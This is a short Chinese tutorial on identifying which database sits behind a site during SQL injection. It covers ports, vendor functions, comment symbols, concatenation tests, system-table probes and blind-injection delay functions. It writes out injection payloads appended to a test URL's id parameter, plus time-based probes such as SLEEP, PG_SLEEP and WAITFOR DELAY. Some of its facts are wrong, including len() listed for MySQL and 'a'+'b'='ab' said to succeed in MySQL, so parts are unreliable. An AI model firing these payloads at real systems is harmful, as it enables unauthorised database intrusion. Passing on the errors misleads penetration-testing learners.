SQL注入如何判断数据库类型
前言
在进行SQL注入之前，首先应该判断数据库的类型，不同的数据库在处理一些函数的时候会有一些微妙的差别，只有判断出是哪种数据库类型，这样才能根据数据库的类型选择合适的函数，更容易实现SQL注入。
# 前端与数据库类型
asp：SQL Server，Access.net：SQL Serverphp：MySQL，PostgreSQLjava：Oracle，MySQL
# 根据端口判断
Oracle：默认端口 1521SQL Server：默认端口 1433MySQL：默认端口 3306
# 根据数据库特有函数来判断
# len和length
len()：SQL Server 、MySQL以及db2返回长度的函数。length()：Oracle和INFORMIX返回长度的函数。
# version和@@version
version()：MySQL查询版本信息的函数@@version：MySQL和SQL Server查询版本信息的函数
# substring和substr
MySQL两个函数都可以使用Oracle只可调用substrSQL Server只可调用substring
# 根据特殊符号进行判断
/* 是MySQL数据库的注释符-- 是Oracle和SQL Server支持的注释符; 是子句查询标识符，Oracle不支持多行查询，若返回错误，则说明可能是Oracle数据库# 是MySQL中的注释符，返回错误则说明可能不是MySQL，另外也支持-- 和/**/
# 根据数据库对字符串的处理方式判断
# MySQL
http://127.0.0.1/test.php?id=1 and 'a'+'b'='ab' http://127.0.0.1/test.php?id=1 and CONCAT('a','b')='ab'
# Oracle
http://127.0.0.1/test.php?id=1 and 'a'||'b'='ab'http://127.0.0.1/test.php?id=1 and CONCAT('a','b')='ab'
# SQL Server
http://127.0.0.1/test.php?id=1 and 'a'+'b'='ab'
# 根据数据库特有的数据表来判断
# MySQL（version>5.0）
http://127.0.0.1/test.php?id=1 and (select count(*) from information_schema.TABLES)>0 and 1=1
# Oracle
http://127.0.0.1/test.php?id=1 and (select count(*) from sys.user_tables)>0 and 1=1
# SQL Server
http://127.0.0.1/test.php?id=1 and (select count(*) from sysobjects)>0 and 1=1
# 根据盲注特别函数判断
# MySQL
BENCHMARK(1000000,ENCODE('QWE','ASD'))SLEEP(5)
# PostgreSQL
PG_SLEEP(5)GENERATE_SERIES(1,1000000)
# SQL Server
WAITFOR DELAY '0:0:5'